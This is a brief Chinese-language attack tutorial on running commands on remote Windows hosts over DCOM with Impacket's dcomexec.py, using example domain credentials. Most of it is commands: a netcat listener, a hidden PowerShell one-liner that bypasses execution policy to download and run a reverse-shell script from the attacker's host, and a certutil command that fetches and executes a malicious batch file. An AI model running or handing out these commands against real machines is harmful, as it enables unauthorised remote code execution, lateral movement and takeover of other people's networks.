### Dcom 怎么操作 **利用 DCOM 执行命令** 这里我们主要介绍使用 `Impacket` 中的 `dcomexec.py` 工具,因为它非常灵活且功能强大 **基本语法:** ```bash dcomexec.py /:@ 'command' ``` **示例:** 假设你拥有一个域用户 `testuser` 的密码 `Password123!`,目标机器 IP 是 `192.168.1.100`,你想执行 `whoami` 命令 ```bash dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami' ``` 如果成功,你会看到命令的输出 ### 利用 DCOM 获取交互式 Shell 仅仅执行单条命令是不够的,通常我们希望获得一个交互式的 Shell。`dcomexec.py` 同样可以做到 **示例:** 使用 `dcomexec.py` 启动一个反弹 Shell 的命令 1. **监听端口:** 在你的攻击机上,用 `netcat` 或其他工具监听一个端口,例如 4444 ```bash nc -lvnp 4444 ``` 2. **执行命令:** 在目标机器上,利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将 `` 和 `` 替换为你的实际 IP 和端口 ```bash dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444" ``` 或者使用更简单的 `certutil` 下载并执行恶意脚本: ```bash dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http:///shell.bat && shell.bat" ``` 如果成功,你的 `netcat` 监听器上会收到一个反弹回来的 Shell